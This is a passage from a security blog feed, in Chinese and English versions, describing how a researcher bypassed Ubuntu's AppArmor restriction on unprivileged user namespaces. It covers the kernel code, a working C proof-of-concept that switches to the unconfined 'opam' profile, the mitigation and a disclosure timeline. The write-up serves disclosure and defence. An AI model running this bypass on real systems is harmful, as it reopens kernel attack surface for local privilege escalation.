<span class="n">profile</span><span class="p">,</span> <span class="n">GFP_KERNEL</span><span class="p">,</span> <span class="c1">// [11]</span> <span class="n">aa_get_label</span><span class="p">(</span><span class="n">target</span><span class="p">),</span> <span class="n">aa_get_label</span><span class="p">(</span><span class="o">&amp;</span><span class="n">profile</span><span class="o">-&gt;</span><span class="n">label</span><span class="p">));</span> <span class="p">}</span> <span class="c1">// [...]</span> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="p">(</span><span class="n">flags</span> <span class="o">&amp;</span> <span class="n">AA_CHANGE_ONEXEC</span><span class="p">))</span> <span class="p">{</span> <span class="n">error</span> <span class="o">=</span> <span class="n">aa_replace_current_label</span><span class="p">(</span><span class="n">new</span><span class="p">);</span> <span class="c1">// [12]</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="n">new</span><span class="p">)</span> <span class="p">{</span> <span class="n">aa_put_label</span><span class="p">(</span><span class="n">new</span><span class="p">);</span> <span class="n">new</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span> <span class="p">}</span> <span class="n">aa_set_current_onexec</span><span class="p">(</span><span class="n">target</span><span class="p">,</span> <span class="n">stack</span><span class="p">);</span> <span class="c1">// [13]</span> <span class="p">}</span> <span class="c1">// [...]</span> <span class="p">}</span> </code></pre></div></div> <p>簡而言之,若寫入的目標是 <code class="language-plaintext highlighter-rouge">/proc/self/attr/exec</code>,且內容為 <code class="language-plaintext highlighter-rouge">"exec &lt;設定檔名稱&gt;"</code>,那麼新的 AppArmor 設定檔會在程式執行 <code class="language-plaintext highlighter-rouge">SYS_execve</code> 系統呼叫後被套用。</p> <p>相反地,若是寫入 <code class="language-plaintext highlighter-rouge">/proc/self/attr/current</code> 並使用 <code class="language-plaintext highlighter-rouge">"changeprofile &lt;設定檔名稱&gt;"</code>,則該程式的設定檔會立即被更新。</p> <h2 id="4-out-of-the-sandbox">4. Out of the Sandbox</h2> <p>現在讓我們回過頭來看 <code class="language-plaintext highlighter-rouge">aa_profile_ns_perm()</code> 中的檢查邏輯。</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">aa_label</span> <span class="o">*</span><span class="nf">aa_profile_ns_perm</span><span class="p">(</span><span class="k">struct</span> <span class="n">aa_profile</span> <span class="o">*</span><span class="n">profile</span> <span class="cm">/* ... */</span><span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="n">profile_unconfined</span><span class="p">(</span><span class="n">profile</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="c1">// [1]</span> <span class="n">profile</span> <span class="o">==</span> <span class="n">profiles_ns</span><span class="p">(</span><span class="n">profile</span><span class="p">)</span><span class="o">-&gt;</span><span class="n">unconfined</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// [2]</span> <span class="c1">// [...]</span> <span class="p">}</span> <span class="p">}</span> </code></pre></div></div> <p>第一個檢查是判斷目前的設定檔是否處於 unconfined 狀態 [1]。這個條件可以透過套用一個強制模式(Enforced mode)或回報模式(Complain mode)的設定檔來繞過。</p> <p>第二個檢查則是確認目前的設定檔是否就是系統預設的 <code class="language-plaintext highlighter-rouge">unconfined</code> 設定檔 [2]。因此,只要改用一個非預設的設定檔,這個檢查同樣也可以被繞過。</p> <p>總結來說,在目前這套機制下,只要套用任意一個處於 unconfined 狀態的 AppArmor 設定檔,就能繞過這些檢查,成功建立非特權使用者命名空間!</p> <h2 id="5-proof-of-concept">5. Proof-Of-Concept</h2> <p>要繞過 Ubuntu 的保護機制,就只需要把程式的 AppArmor 設定檔從預設的 <code class="language-plaintext highlighter-rouge">unconfined</code> 設定檔,換成其他任意一個處於 unconfined 狀態的設定檔即可。這邊我們選擇用 <code class="language-plaintext highlighter-rouge">opam</code> 這個設定檔,單純只是因為它操作單純、沒有額外的行為。設定檔的內容如下:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># This profile allows everything and only exists to give the # application a name instead of having the label "unconfined" abi &lt;abi/4.0&gt;, include &lt;tunables/global&gt; profile opam /usr/bin/opam flags=(unconfined) { userns, # Site-specific additions and overrides. See local/README for details. include if exists &lt;local/opam&gt; } </code></pre></div></div> <p>下方範例程式碼展示了兩種方法,成功在 Ubuntu 24.10 上建立非特權使用者命名空間。測試環境為 Ubuntu 24.10(核心版本 <code class="language-plaintext highlighter-rouge">6.11.0-14-generic</code>),測試日期為 2025 年 2 月 17 日。</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define _GNU_SOURCE #include</span> <span class="cpf">&lt;sched.h&gt;</span><span class="cp"> #include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp"> #include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp"> #include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp"> #include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp"> #include</span> <span class="cpf">&lt;fcntl.h&gt;</span><span class="cp"> </span> <span class="kt">void</span> <span class="nf">perror_exit</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">msg</span><span class="p">)</span> <span class="p">{</span> <span class="n">perror</span><span class="p">(</span><span class="n">msg</span><span class="p">);</span> <span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span> <span class="p">}</span> <span class="kt">void</span> <span class="nf">unshare_setup</span><span class="p">(</span><span class="n">uid_t</span> <span class="n">uid</span><span class="p">,</span> <span class="n">gid_t</span> <span class="n">gid</span><span class="p">)</span> <span class="p">{</span> <span class="kt">int</span> <span class="n">temp</span><span class="p">,</span> <span class="n">ret</span><span class="p">;</span> <span class="kt">char</span> <span class="n">edit</span><span class="p">[</span><span class="mh">0x100</span><span class="p">]</span> <span class="o">=</span> <span class="p">{};</span> <span class="n">ret</span> <span class="o">=</span> <span class="n">unshare</span><span class="p">(</span><span class="n">CLONE_NEWNET</span> <span class="o">|</span> <span class="n">CLONE_NEWUSER</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="n">perror_exit</span><span class="p">(</span><span class="s">"unshare"</span><span class="p">);</span> <span class="n">temp</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="s">"/proc/self/setgroups"</span><span class="p">,</span> <span class="n">O_WRONLY</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="n">temp</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="n">perror_exit</span><span class="p">(</span><span class="s">"open /proc/self/setgroups"</span><span class="p">);</span> <span class="n">write</span><span class="p">(</span><span class="n">temp</span><span class="p">,</span> <span class="s">"deny"</span><span class="p">,</span> <span class="n">strlen</span><span class="p">(</span><span class="s">"deny"</span><span class="p">));</span> <span class="n">close</span><span class="p">(</span><span class="n">temp</span><span class="p">);</span> <span class="n">temp</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="s">"/proc/self/uid_map"</span><span class="p">,</span> <span class="n">O_WRONLY</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="n">temp</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="n">perror_exit</span><span class="p">(</span><span class="s">"open /proc/self/uid_map"</span><span class="p">);</span> <span class="n">snprintf</span><span class="p">(</span><span class="n">edit</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">edit</span><span class="p">),</span> <span class="s">"0 %d 1"</span><span class="p">,</span> <span class="n">uid</span><span class="p">);</span> <span class="n">write</span><span class="p">(</span><span class="n">temp</span><span class="p">,</span> <span class="n">edit</span><span class="p">,</span> <span class="n">strlen</span><span class="p">(</span><span class="n">edit</span><span class="p">));</span> <span class="n">close</span><span class="p">(</span><span class="n">temp</span><span class="p">);</span> <span class="n">temp</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="s">"/proc/self/gid_map"</span><span class="p">,</span> <span class="n">O_WRONLY</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="n">temp</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="n">perror_exit</span><span class="p">(</span><span class="s">"open /proc/self/gid_map"</span><span class="p">);</span> <span class="n">snprintf</span><span class="p">(</span><span class="n">edit</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">edit</span><span class="p">),</span> <span class="s">"0 %d 1"</span><span class="p">,</span> <span class="n">gid</span><span class="p">);</span> <span class="n">write</span><span class="p">(</span><span class="n">temp</span><span class="p">,</span> <span class="n">edit</span><span class="p">,</span> <span class="n">strlen</span><span class="p">(</span><span class="n">edit</span><span class="p">));</span> <span class="n">close</span><span class="p">(</span><span class="n">temp</span><span class="p">);</span> <span class="k">return</span><span class="p">;</span> <span class="p">}</span> <span class="k">const</span> <span class="kt">char</span> <span class="n">profile1</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"exec opam"</span><span class="p">;</span> <span class="k">const</span> <span class="kt">char</span> <span class="n">profile2</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"changeprofile opam"</span><span class="p">;</span> <span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mh">0x100</span><span class="p">];</span> <span class="kt">void</span> <span class="nf">func_1</span><span class="p">()</span> <span class="p">{</span> <span class="kt">int</span> <span class="n">ret</span><span class="p">;</span> <span class="kt">int</span> <span class="n">fd</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="s">"/proc/self/attr/exec"</span><span class="p">,</span> <span class="n">O_RDWR</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="n">fd</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="n">perror_exit</span><span class="p">(</span><span class="s">"open /proc/self/attr/exec"</span><span class="p">);</span> <span class="n">ret</span> <span class="o">=</span> <span class="n">write</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">profile1</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">profile1</span><span class="p">));</span> <span class="n">close</span><span class="p">(</span><span class="n">fd</span><span class="p">);</span> <span class="kt">char</span> <span class="o">*</span><span class="k">const</span> <span class="n">_argv</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="s">"/usr/bin/unshare"</span><span class="p">,</span> <span class="s">"-r"</span><span class="p">,</span> <span class="s">"-n"</span><span class="p">,</span> <span class="s">"-m"</span><span class="p">,</span> <span class="s">"/bin/bash"</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">};</span> <span class="kt">char</span> <span class="o">*</span><span class="k">const</span> <span class="n">_envp</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="nb">NULL</span><span class="p">};</span> <span class="n">execve</span><span class="p">(</span><span class="s">"/usr/bin/unshare"</span><span class="p">,</span> <span class="n">_argv</span><span class="p">,</span> <span class="n">_envp</span><span class="p">);</span> <span class="p">}</span> <span class="kt">void</span> <span class="nf">func_2</span><span class="p">()</span> <span class="p">{</span> <span class="kt">int</span> <span class="n">ret</span><span class="p">;</span> <span class="kt">int</span> <span class="n">fd</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="s">"/proc/self/attr/current"</span><span class="p">,</span> <span class="n">O_RDWR</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="n">fd</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="n">perror_exit</span><span class="p">(</span><span class="s">"open /proc/self/attr/current"</span><span class="p">);</span> <span class="n">ret</span> <span class="o">=</span> <span class="n">write</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">profile2</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">profile2</span><span class="p">));</span> <span class="n">close</span><span class="p">(</span><span class="n">fd</span><span class="p">);</span> <span class="n">unshare_setup</span><span class="p">(</span><span class="n">getuid</span><span class="p">(),</span> <span class="n">getgid</span><span class="p">());</span> <span class="kt">char</span> <span class="o">*</span><span class="k">const</span> <span class="n">_argv</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="nb">NULL</span><span class="p">};</span> <span class="kt">char</span> <span class="o">*</span><span class="k">const</span> <span class="n">_envp</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="nb">NULL</span><span class="p">};</span> <span class="n">execve</span><span class="p">(</span><span class="s">"/bin/bash"</span><span class="p">,</span> <span class="n">_argv</span><span class="p">,</span> <span class="n">_envp</span><span class="p">);</span> <span class="p">}</span> <span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span> <span class="n">func_1</span><span class="p">();</span> <span class="n">func_2</span><span class="p">();</span> <span class="p">}</span> </code></pre></div></div> <h2 id="6-mitigation">6. Mitigation</h2> <p>這個繞過方法僅在 <code class="language-plaintext highlighter-rouge">/proc/sys/kernel/apparmor_restrict_unprivileged_unconfined</code> 被關閉(設為 0)時才會生效。而從 Ubuntu 25.04 開始,這個參數預設為啟用狀態,因此不受影響。</p> <p>針對 Ubuntu 24.10 及更早版本的使用者,可以參考<a href="https://discourse.ubuntu.com/t/understanding-apparmor-user-namespace-restriction/58007#p-148026-restrict-unprivileged-unconfined-profile-changes">官方說明文章</a>,瞭解如何防止任何非特權且處於 unconfined 狀態的程式執行 <code class="language-plaintext highlighter-rouge">aa-exec</code> 來切換 AppArmor 設定檔,以避免保護機制遭到繞過。</p> <h2 id="7-disclosure-timeline">7. Disclosure Timeline</h2> <ul> <li>2025-02-16:研究員 @roddux 提到 AppArmor 的命名空間限制機制很容易被繞過。</li> <li>2025-02-17:我發現一個繞過方式。</li> <li>2025-02-24:我將此問題回報給 ZDI 團隊。</li> <li>2025-03-21:研究員 @roddux 公開了他的繞過方法。</li> <li>2025-03-27:Qualys 團隊在看到 @roddux 的公開貼文後,也發布了他們的漏洞通報。</li> <li>2025-04-27:ZDI 回覆表示對此類型的漏洞不感興趣,並拒絕後續處理。</li> <li>2025-04-30:我改為將此問題回報給 Ubuntu 安全團隊。</li> <li>2025-05-01:維護者 John 通知我此問題已進入初步審查階段。</li> <li>2025-05-30:John 回覆完整的問題分析與說明。</li> <li>2025-06-26:協作發布文章。</li> </ul> https://devco.re/blog/2025/06/26/the-journey-of-bypassing-ubuntus-unprivileged-namespace-restriction/ https://devco.re/blog/2025/06/26/the-journey-of-bypassing-ubuntus-unprivileged-namespace-restriction Thu, 26 Jun 2025 00:00:00 +0800 The Journey of Bypassing Ubuntu’s Unprivileged Namespace Restriction <p><a href="/blog/2025/06/26/the-journey-of-bypassing-ubuntus-unprivileged-namespace-restriction-en/">English Version</a>, <a href="/blog/2025/06/26/the-journey-of-bypassing-ubuntus-unprivileged-namespace-restriction/">中文版本</a></p> <p>Recently, Ubuntu introduced sandbox mechanisms to reduce the attack surface, and they seemed unbreakable. However, after carrying out in-depth research, we found that the implementation contained some issues, and bypassing it was not as difficult as expected. This post will explain how we began our research at the kernel level and discovered a bypass method. We will also share some interesting stories from the process.</p> <h2 id="1-introduction">1. Introduction</h2> <h3 id="11-ubuntus-new-sandbox-model">1.1. Ubuntu’s New Sandbox Model</h3> <p>After years of serving as a rich attack surface for privilege escalation, unprivileged user namespaces finally started receiving serious attention. In April 2024, shortly after that year’s Pwn2Own, Ubuntu published a <a href="https://ubuntu.com/blog/whats-new-in-security-for-ubuntu-24-04-lts">security-focused blog post</a> announcing new mitigations designed to lock down unprivileged namespaces and io_uring. The goal was clear: to ensure that untrusted applications run within a tighter, more controlled sandbox. These restrictions were largely implemented through AppArmor.</p> <p>Fast forward to September 2024, Ubuntu followed up with a <a href="https://static.sched.com/hosted_files/lsseu2024/ed/Restricting%20Unprivileged%20User%20Namespaces%20In%20Ubuntu.pdf">presentation</a> introducing their sandbox architecture in more depth. The slides outlined not only the motivation behind the design but also provided a breakdown of how the sandbox operates under the hood.</p> <p><img src="/assets/img/blog/20250626/upload_42ba484ec23b76cbbb9a0d60184bf5d1.png" alt="" /></p> <p>From these updates, it became evident that Ubuntu’s new model only allows specific applications to create unprivileged namespaces. All other, untrusted processes are blocked. Without access to unprivileged namespaces, attackers lose their entry point to subsystems like netfilter and net/sched — historically fertile ground for discovering vulnerabilities. At first, this seemed like a bulletproof defense. Some researchers even speculated that Ubuntu, formerly the only Linux LPE target at Pwn2Own, might now be effectively unbreakable.</p> <h3 id="12-emergence-of-the-bypass-method">1.2. Emergence of the Bypass Method</h3> <p>But then, on February 16, something unexpected happened. I stumbled across a Twitter thread where someone claimed that the new AppArmor-based protections could be bypassed. Seriously? That got my attention.</p> <p><img src="/assets/img/blog/20250626/upload_aa9dd31f3f5a20bfe166d06729f5544e.png" alt="" /></p> <p>Coincidentally, Pwn2Own 2025 was just around the corner. It felt like the perfect time to start digging. I decided to analyze how Ubuntu enforces these restrictions via AppArmor — and more importantly, whether there were any cracks in the armor.</p> <p>To my surprise, it didn’t take long. Within a few hours of reviewing the code, I found a way to bypass them! It wasn’t even particularly difficult to find it, as long as the investigation was conducted in the right direction. With unprivileged namespaces now back on the table, the next step in my plan was straightforward: find a vulnerability in a module of the network subsystem that Ubuntu enables by default but kernelCTF does not. Couldn’t be better!</p> <p>Unfortunately, things didn’t go so well. Just a week later, on February 24, the official rules for Pwn2Own Berlin were announced, and Ubuntu was off the table because the Linux LPE target was changed to Red Hat Enterprise Linux. To make things worse (for the bypass, at least), RHEL doesn’t restrict unprivileged namespaces at all. Which meant… my bypass was now irrelevant to the competition.</p> <p><img src="/assets/img/blog/20250626/upload_58836702284ef31386e2d2f737ef8883.png" alt="" /></p> <h3 id="13-vendor-response">1.3. Vendor Response</h3> <p>Upon learning that Ubuntu was no longer a Pwn2Own target, I promptly submitted the issue through the ZDI portal, the platform I usually use for vulnerability reporting. But while I waited for a response, the <a href="https://x.com/roddux/status/1903028631514837107">researcher (@roddux)</a> posted a bypass method on Twitter on March 21. Later, on March 27, the Qualys Team released a <a href="https://www.qualys.com/2025/three-bypasses-of-Ubuntu-unprivileged-user-namespace-restrictions.txt">disclosure</a> that included more detailed technical explanations. All of these methods are based on a similar root cause as the one I identified.</p> <p>As a researcher, it was frustrating to see various bypass methods being publicly disclosed while I couldn’t share my own work because I had already reported it to ZDI. After a few days with no updates, I even emailed ZDI to ask if I could withdraw my submission. Thankfully, my boss, Orange Tsai, stepped in just in time and patiently walked me through the pros and cons of doing so. That helped me regain my composure, and I ended up sending another email to retract my withdrawal request.</p> <p>On April 27, the ZDI team finally reviewed my report, but they said they were not interested in the issue. So, I decided to report it directly to the Ubuntu Security Team. Within a day, I received a quick response from John, one of the maintainers of the namespace restriction mechanism. He said they were verifying the issue and would notify me of any updates. By the way, this was my first time reporting an issue to the Ubuntu Security Team, and their responsiveness and friendliness made it a great experience to collaborate with them.</p> <p>After about a month of discussion, they finally determined that the issue I reported was a variant of the bypass methods previously disclosed by the Qualys Team. It only works when <code class="language-plaintext highlighter-rouge">/proc/sys/kernel/apparmor_restrict_unprivileged_unconfined</code> is disabled, which has been enabled by default since Ubuntu 25.04. They had also recommended that users disable it in earlier versions through their <a href="https://discourse.ubuntu.com/t/understanding-apparmor-user-namespace-restriction/58007#p-148026-restrict-unprivileged-unconfined-profile-changes">official post</a>.</p> <p>This post documents my bypass technique and the full disclosure timeline. While the core idea aligns with previously published methods, I believe it is still worth publishing because the method was discovered from a kernel side rather than from userspace. I hope every reader enjoys it!</p> <h2 id="2-apparmor-101">2. AppArmor 101</h2> <h3 id="21-overview">2.1. Overview</h3> <p><strong>AppArmor (Application Armor)</strong> is an implementation of a Linux Security Module (LSM) that provides Mandatory Access Control (MAC), restricting processes’ access to system resources. Administrators can define an AppArmor profile for a program to limit its capabilities. If a process does not have an AppArmor profile, it runs in <strong><code class="language-plaintext highlighter-rouge">unconfined</code> profile</strong>, meaning AppArmor does not impose any restrictions on it.</p> <p>Each profile defines access control for an individual program, specifying which files, capabilities, and network permissions it can access. Enabled profiles can operate in two modes:</p> <ul> <li><strong>Enforced mode</strong>: Violating behavior is blocked and logged.</li> <li><strong>Complain mode</strong>: Violating behavior is only logged but not blocked.</li> </ul> <p>Example profile:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>abi &lt;abi/4.0&gt;, include &lt;tunables/global&gt; profile ipa_verify /usr/bin/ipa_verify flags=(unconfined) { userns, # Site-specific additions and overrides. See local/README for details. include if exists &lt;local/ipa_verify&gt; } </code></pre></div></div> <ul> <li><code class="language-plaintext highlighter-rouge">profile ipa_verify</code>: Defines a profile named <code class="language-plaintext highlighter-rouge">ipa_verify</code>.</li> <li><code class="language-plaintext highlighter-rouge">/usr/bin/ipa_verify</code>: The profile applies to the binary located at <code class="language-plaintext highlighter-rouge">/usr/bin/ipa_verify</code>. When executed, this profile is automatically loaded.</li> <li><code class="language-plaintext highlighter-rouge">flags=(unconfined)</code>: This profile is in unconfined status. Although the profile is loaded, it does not restrict the application’s behavior.</li> <li><code class="language-plaintext highlighter-rouge">userns</code>: Allows the application to use user namespaces.</li> </ul> <p>Users can use the <code class="language-plaintext highlighter-rouge">aa-status</code> tool to list active profiles and their statuses. Below is an example JSON output:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{ "version": "2", "profiles": { "/snap/snapd/23258/usr/lib/snapd/snap-confine": "enforce", "/usr/sbin/sssd": "complain", "Discord": "unconfined" }, "processes": { "/usr/sbin/rsyslogd": [ { "profile": "rsyslogd", "pid": "1176", "status": "enforce" } ] } } </code></pre></div></div> <h3 id="22-behavior-in-ubuntu">2.2. Behavior in Ubuntu</h3> <p>Users can use the <code class="language-plaintext highlighter-rouge">unshare</code> tool to execute target binary under an unprivileged user namespace. However, after the introduction of new security mechanisms, executing this command on Ubuntu results in an <strong>“Operation not permitted” (-EPERM)</strong> error.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>aaa@aaa:~/<span class="nv">$ </span>unshare <span class="nt">-r</span> <span class="nt">-n</span> <span class="nt">-m</span> /bin/bash unshare: write failed /proc/self/uid_map: Operation not permitted </code></pre></div></div> <p>At this point, if we check the kernel log using the <code class="language-plaintext highlighter-rouge">dmesg</code> command, we will see some event logs related to AppArmor.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>aaa@aaa:~/<span class="nv">$ </span><span class="nb">sudo </span>dmesg <span class="o">[</span>...] <span class="o">[</span>302291.394909] audit: <span class="nb">type</span><span class="o">=</span>1400 audit<span class="o">(</span>1739761091.573:545<span class="o">)</span>: <span class="nv">apparmor</span><span class="o">=</span><span class="s2">"AUDIT"</span> <span class="nv">operation</span><span class="o">=</span><span class="s2">"userns_create"</span> <span class="nv">class</span><span class="o">=</span><span class="s2">"namespace"</span> <span class="nv">info</span><span class="o">=</span><span class="s2">"Userns create - transitioning profile"</span> <span class="nv">profile</span><span class="o">=</span><span class="s2">"unconfined"</span> <span class="nv">pid</span><span class="o">=</span>29466 <span class="nb">comm</span><span class="o">=</span><span class="s2">"unshare"</span> <span class="nv">requested</span><span class="o">=</span><span class="s2">"userns_create"</span> <span class="nv">target</span><span class="o">=</span><span class="s2">"unprivileged_userns"</span> <span class="o">[</span>302291.395747] audit: <span class="nb">type</span><span class="o">=</span>1400 audit<span class="o">(</span>1739761091.574:546<span class="o">)</span>: <span class="nv">apparmor</span><span class="o">=</span><span class="s2">"DENIED"</span> <span class="nv">operation</span><span class="o">=</span><span class="s2">"capable"</span> <span class="nv">class</span><span class="o">=</span><span class="s2">"cap"</span> <span class="nv">profile</span><span class="o">=</span><span class="s2">"unprivileged_userns"</span> <span class="nv">pid</span><span class="o">=</span>29466 <span class="nb">comm</span><span class="o">=</span><span class="s2">"unshare"</span> <span class="nv">capability</span><span class="o">=</span>21 <span class="nv">capname</span><span class="o">=</span><span class="s2">"sys_admin"</span> </code></pre></div></div> <ol> <li>First AppArmor Event - Audit Event <ul> <li>This event logs execution details.</li> <li>The event describes that a process with PID 29466 (<code class="language-plaintext highlighter-rouge">unshare</code>) attempted to create a user namespace (<code class="language-plaintext highlighter-rouge">operation="userns_create"</code>).</li> <li>The process is currently unrestricted (<code class="language-plaintext highlighter-rouge">profile="unconfined"</code>), meaning it’s not bound to any AppArmor profile at the moment.</li> <li>After this event, the process is assigned the <code class="language-plaintext highlighter-rouge">unprivileged_userns</code> profile.</li> </ul> </li> <li>Second AppArmor Event - Deny Event <ul> <li>This event indicates a denied operation.</li> <li>The <code class="language-plaintext highlighter-rouge">unprivileged_userns</code> profile restricts the process from using the <code class="language-plaintext highlighter-rouge">sys_admin</code> capability.</li> <li>Since unshare requires <code class="language-plaintext highlighter-rouge">sys_admin</code> to create a new user namespace, AppArmor blocks the operation, leading to the <strong>“Operation not permitted (-EPERM)”</strong> error.</li> </ul> </li> </ol> <p>In Ubuntu, all AppArmor profiles are stored in the directory:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>aaa@aaa:~<span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-al</span> /etc/apparmor.d/ total 528 drwxr-xr-x 9 root root 4096 Feb 17 10:46 <span class="nb">.</span> drwxr-xr-x 141 root root 12288 Feb 16 20:46 .. <span class="nt">-rw-r--r--</span> 1 root root 354 Oct 2 07:24 1password ... <span class="nt">-rw-r--r--</span> 1 root root 699 Oct 2 07:24 unprivileged_userns ... </code></pre></div></div> <p>The file <code class="language-plaintext highlighter-rouge">/etc/apparmor.d/unprivileged_userns</code> defines the <code class="language-plaintext highlighter-rouge">unprivileged_userns</code> profile. Below is part of the file’s content:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[...] profile unprivileged_userns { audit deny capability, audit deny change_profile, [...] allow mqueue, allow ptrace, allow userns, } </code></pre></div></div> <p>The second event log we saw in the <code class="language-plaintext highlighter-rouge">dmesg</code> output comes from the <code class="language-plaintext highlighter-rouge">audit deny capability</code> rule. This rule blocks all operations that require capabilities such as <code class="language-plaintext highlighter-rouge">CAP_SYS_ADMIN</code>, <code class="language-plaintext highlighter-rouge">CAP_NET_ADMIN</code> and <code class="language-plaintext highlighter-rouge">CAP_CHOWN</code>, and logs any denied requests.</p> <p>Now that we understand creating a namespace is not allowed under the <code class="language-plaintext highlighter-rouge">unprivileged_userns</code> profile, a key question arises:</p> <p><strong>Why is our process, which starts in the <code class="language-plaintext highlighter-rouge">unconfined</code> profile, automatically transitioned to the <code class="language-plaintext highlighter-rouge">unprivileged_userns</code> profile?</strong></p> <p>To answer this, we need to dive into the AppArmor implementation in Ubuntu!</p> <h2 id="3-investigating-ubuntu-kernel-patch">3. Investigating Ubuntu Kernel Patch</h2> <h3 id="31-analysis-strategy">3.1. Analysis Strategy</h3> <p>Each Linux distribution modifies the Linux kernel based on its own needs, and Ubuntu is no exception.</p> <p>When analyzing the Ubuntu source, you will download two files: the base version of the Linux source code (<code class="language-plaintext highlighter-rouge">linux_&lt;ver&gt;.orig.tar.gz</code>) and a diff file containing Ubuntu’s modifications (<code class="language-plaintext highlighter-rouge">linux_&lt;ver&gt;-&lt;x&gt;.&lt;y&gt;.diff.gz</code>, where x represents Ubuntu’s maintained subversion, and y is usually a minor or patch release). To analyze Ubuntu’s customizations, the patched source code is usually examined alongside the diff file.</p> <p>However, taking <code class="language-plaintext highlighter-rouge">linux_6.11.0-18.18.diff</code> as an example, the patch contains over 260000 lines - so where should one begin?</p> <p>We can narrow the direction based on heuristics: the unusual behavior of AppArmor is only triggered by the <strong>unshare operation</strong>. Additionally, <strong>certain strings in the audit event logs</strong> can be searched to quickly locate key operations.</p> <h3 id="32-diving-into-the-source">3.2. Diving Into the Source</h3> <p>The function <code class="language-plaintext highlighter-rouge">apparmor_userns_create()</code> is triggered as an AppArmor hook and is executed when a namespace is created [1]. This function then calls <code class="language-plaintext highlighter-rouge">aa_profile_ns_perm()</code> to handle namespace permission-related settings [2].</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="k">struct</span> <span class="n">security_hook_list</span> <span class="n">apparmor_hooks</span><span class="p">[]</span> <span class="n">__ro_after_init</span> <span class="o">=</span> <span class="p">{</span> <span class="c1">// [...]</span> <span class="n">LSM_HOOK_INIT</span><span class="p">(</span><span class="n">userns_create</span><span class="p">,</span> <span class="n">apparmor_userns_create</span><span class="p">),</span> <span class="c1">// [1]</span> <span class="c1">// [...]</span> <span class="p">};</span> <span class="k">static</span> <span class="kt">int</span> <span class="nf">apparmor_userns_create</span><span class="p">(</span><span class="k">const</span> <span class="k">struct</span> <span class="n">cred</span> <span class="o">*</span><span class="n">new_cred</span><span class="p">)</span> <span class="p">{</span> <span class="k">struct</span> <span class="n">aa_label</span> <span class="o">*</span><span class="n">label</span><span class="p">;</span> <span class="k">struct</span> <span class="n">aa_profile</span> <span class="o">*</span><span class="n">profile</span><span class="p">;</span> <span class="kt">int</span> <span class="n">error</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">label</span> <span class="o">=</span> <span class="n">begin_current_label_crit_section</span><span class="p">();</span> <span class="k">if</span> <span class="p">(</span><span class="n">aa_unprivileged_userns_restricted</span> <span class="cm">/* default value: 1 */</span> <span class="o">||</span> <span class="n">label_mediates</span><span class="p">(</span><span class="n">label</span><span class="p">,</span> <span class="n">AA_CLASS_NS</span><span class="p">))</span> <span class="p">{</span> <span class="c1">// [...]</span> <span class="n">new</span> <span class="o">=</span> <span class="n">fn_label_build</span><span class="p">(</span><span class="n">label</span><span class="p">,</span> <span class="n">profile</span><span class="p">,</span> <span class="n">GFP_KERNEL</span><span class="p">,</span> <span 